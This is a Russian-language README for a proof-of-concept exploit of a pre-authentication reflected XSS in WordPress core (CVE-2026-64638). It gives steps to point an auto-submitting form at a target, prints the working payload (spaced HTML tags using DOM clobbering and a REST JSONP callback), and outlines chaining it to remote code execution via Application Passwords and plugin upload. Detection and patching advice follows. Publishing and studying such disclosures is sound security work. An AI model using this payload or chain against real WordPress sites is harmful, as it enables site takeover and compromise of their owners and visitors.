XSS2Shell Alert PoC (CVE-2026-64638)
Доказательство концепции отражённого XSS до аутентификации в WordPress
Однофайловый HTML PoC для CVE-2026-64638 (XSS2Shell) — XSS в ядре WordPress, вызванный различием парсеров. Демонстрирует выполнение JavaScript без аутентификации в origin WordPress через специально сформированный запрос входа.
Информация об уязвимости
- CVE: CVE-2026-64638 (XSS2Shell)
- Тип: отражённый XSS до аутентификации (различие парсеров:
strip_tags() vs wp_kses_post())
- Эскалация: может быть объединён в цепочку до RCE (DOM clobbering → REST JSONP → SOME → Application Password → загрузка плагина)
- Затронутые версии: WordPress 6.4 – 7.0.2 (практически эксплуатируемый диапазон)
- Исправлено: WordPress 7.0.3 (исправление портировано в поддерживаемые ветки вплоть до 4.7)
Использование
- Откройте
POC.html в текстовом редакторе.
- Замените
http://TARGET/wp-login.php в атрибуте action формы на вашу цель.
<form id="poc" method="post" action="http://TARGET/wp-login.php">
- Откройте файл в браузере. Форма отправляется автоматически; если цель уязвима, в origin WordPress сработает всплывающее окно
confirm() (или alert()).
Полезная нагрузка PoC
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
Пробел после каждого < и есть эксплойт. Без него wp_strip_all_tags() удалит всё.
Требования
- Уязвимая установка WordPress (6.4 – 7.0.2, без патча)
- Браузер с включённым JavaScript
- Никаких зависимостей от инструментов (чистый HTML)
Обнаружение / Меры защиты
- Обновитесь до WordPress 7.0.3 или ветки с исправлением.
- После установки патча отзовите/перевыпустите все существующие Application Passwords (пароли приложений).
- Блокируйте на WAF/периметре шаблоны
%3C + пробельные символы в поле log.
- Отслеживайте запросы
POST /wp-login.php, в которых log содержит закодированный символ <.
Ссылки